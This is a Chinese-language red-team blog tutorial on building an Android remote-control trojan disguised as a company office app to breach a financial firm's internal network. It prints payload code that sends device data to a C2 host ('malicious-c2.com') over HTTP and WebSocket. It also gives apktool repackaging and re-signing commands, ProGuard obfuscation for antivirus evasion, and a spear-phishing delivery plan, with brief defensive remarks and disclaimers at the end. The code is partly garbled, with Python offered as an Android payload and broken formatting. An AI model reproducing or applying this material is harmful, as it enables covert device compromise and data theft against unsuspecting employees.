0x01 一场渗透中的意外发现

在一次针对某金融公司内网的红队测试中,我发现目标公司对外暴露了多个内部管理接口,这些接口仅支持内部IP访问。但通过社工获取的部分员工信息显示,他们普遍使用公司发放的安卓手机登录内部办公系统。目标很明确了:如果能控制一台员工手机,就能突破网络隔离,直接进行内网渗透。

于是,我决定开发一个定制化的安卓远控木马,以员工常用的办公App为伪装,通过鱼叉式钓鱼手段诱导安装。一旦目标设备中招,我就可以通过木马在内网中自由活动,直至攻破核心资产。这篇文章将从零开始,演示如何制作这样的安卓远控木马,以及如何实现流量隐匿和免杀技术。

警告:本文内容仅限授权测试使用,切勿用于非法用途!否则后果自负。

---

0x02 工具与环境准备

在开发安卓远控木马之前,需要准备一些必要的工具和环境。以下是我的推荐配置:

必备工具清单

  1. 安卓开发工具:Android Studio(用于编译和调试木马)
  2. 逆向工具:Apktool、JD-GUI、dex2jar(用于反编译目标App)
  3. 远控通信框架:Flask(Python实现C2服务器)
  4. 虚拟设备:Genymotion 或 Android Emulator(测试木马功能)
  5. 混淆与免杀工具:ProGuard、APK Signature Spoofing 工具

环境搭建

  1. 目标设备:一台安卓7.0以上的手机或虚拟机;
  2. 开发语言:主要使用 Python 和 Java;
  3. 网络环境:建议在内网中搭建测试环境,避免泄露痕迹。

---

0x03 构造隐藏Payload

核心任务是构造一个隐蔽的Payload模块,能够在目标设备上执行远程控制操作。

Payload 功能需求

  • 权限获取:访问文件系统、摄像头、麦克风等敏感功能;
  • 通信加密:通过 HTTPS 或 WebSocket 通信,避免流量明文传输被检测;
  • 持久化:设备重启后仍能自动启动;
  • 隐匿性:隐藏应用图标,伪装成常用应用。

Payload实现代码

以下是一个简单的Payload核心代码,用于抓取目标设备的敏感信息并发送到C2服务器:

<pre><code class="language-python">import requests import os import platform

配置 C2 地址

C2_URL = &quot;https://malicious-c2.com/api&quot;

获取设备基本信息

def get_device_info(): device_info = { &quot;os&quot;: platform.system(), &quot;os_version&quot;: platform.version(), &quot;device_name&quot;: platform.node(), &quot;user_name&quot;: os.getenv(&quot;USER&quot;) or os.getenv(&quot;USERNAME&quot;), } return device_info

黑客示意图

定期发送数据

def send_data(): data = get_device_info() try: response = requests.post(C2_URL, json=data) print(f&quot;Data sent: {response.status_code}&quot;) except Exception as e: print(f&quot;Failed to send data: {e}&quot;)

主函数

if __name__ == &quot;__main__&quot;:

设置定时任务

while True: send_data()</code></pre>

这段代码通过 platform 和 os 模块获取设备信息,然后利用 requests 模块发送到C2服务器,你可以根据实际需求扩展功能,比如添加文件读取、键盘监听等。

---

0x04 木马伪装与打包

为了提高目标的中招率,我们需要将木马伪装成一个看似正常的应用,并重新签名打包。

APK 反编译与重打包

  1. 使用 Apktool 反编译一个合法应用:
  2. <pre><code class="language-bash"> apktool d legit_app.apk -o decoded `

  3. 将上述 Payload 的代码文件嵌入到反编译后的目录中,通常放在 smaliassets 目录。
  4. 修改 AndroidManifest.xml,添加权限声明和启动服务配置:
  5. `xml &lt;uses-permission android:name=&quot;android.permission.INTERNET&quot; /&gt; &lt;uses-permission android:name=&quot;android.permission.READ_EXTERNAL_STORAGE&quot; /&gt; &lt;uses-permission android:name=&quot;android.permission.WRITE_EXTERNAL_STORAGE&quot; /&gt; `

  1. 使用 Apktool 重打包:
  2. `bash apktool b decoded -o backdoored_app.apk `

重签名

使用 keytooljarsigner 为木马重新签名:</code></pre>bash

生成签名证书

keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key

签名APK

jarsigner -keystore my-release-key.jks -signedjar signed_backdoored_app.apk backdoored_app.apk my-key <pre><code> ---

0x05 绕过杀软与流量隐匿

安卓系统的安全防护越来越严密,要想成功投递和运行木马,还需要一些免杀和隐匿手段。

代码混淆

使用 ProGuard 对代码进行混淆,防止静态分析:</code></pre>bash -dontwarn kotlinx. -keep class com.example. { ; } -keep public class { public protected *; } <pre><code>编辑好规则后,在 Android Studio 中启用混淆打包。

流量加密

将所有通信流量升级为 HTTPS,并使用 WebSocket 进行实时数据传输。以下是 WebSocket 的 Python 实现:</code></pre>python import websocket

黑客示意图

配置 WebSocket 地址

ws = websocket.WebSocket() ws.connect("wss://malicious-c2.com/ws")

def send_encrypted_data(): data = {"key": "value"} # 替换为实际数据 ws.send(data)

send_encrypted_data() `

---

黑客示意图

0x06 安全测试与投递

测试木马功能

  1. 在 Genymotion 虚拟机中安装打包好的 APK;
  2. 检查是否成功获取设备信息,并能通过C2服务器接收数据。

投递策略

  1. 使用鱼叉式钓鱼邮件,伪装成公司内部的更新通知;
  2. 在邮件中附上精心伪装的 APK 下载链接;
  3. 利用社工手段诱导目标安装。

---

0x07 防御者的无奈

面对这样的攻击,防御者往往需要从多个层面进行防护,包括:

  • 限制未知来源应用的安装;
  • 使用高级威胁检测工具,分析异常流量;
  • 定期进行安全意识培训,防止员工轻信社工攻势。

但即便如此,只要攻击者足够有耐心,防御者依然可能难以完全避免中招。

---

0x08 个人经验与反思

在我的经验中,安卓远控木马的成功与否,很大程度上取决于伪装和投递策略。一个小小的细节,比如伪装成目标公司常用App,可能就决定了整个攻击的成败。

同时,这份技术也提醒我们,防御者一定要时刻保持警惕。攻击者的手段在不断进化,你的安全策略也必须跟上节奏。

声明:本文内容仅供学习研究,禁止用于非法用途!